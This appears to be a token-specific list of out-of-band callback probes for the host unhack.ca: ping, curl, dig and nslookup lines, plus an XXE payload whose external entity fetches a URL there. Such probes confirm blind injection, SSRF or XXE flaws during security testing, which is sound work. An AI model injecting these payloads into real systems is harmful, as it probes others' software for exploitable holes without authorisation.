$ ping -c1 -p 0019f77cc0b07383ed29cfc0d6ffa900 unhack.ca
 

$ curl http://unhack.ca/p/19f77cc0b07383ed29cfc0d6ffa9
 

$ dig 19f77cc0b07383ed29cfc0d6ffa9 @unhack.ca
 

$ dig 19f77cc0b07383ed29cfc0d6ffa9.ns.unhack.ca
 

C:\> nslookup 19f77cc0b07383ed29cfc0d6ffa9 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/19f77cc0b07383ed29cfc0d6ffa9">]>
    <foo>&xxe;</foo>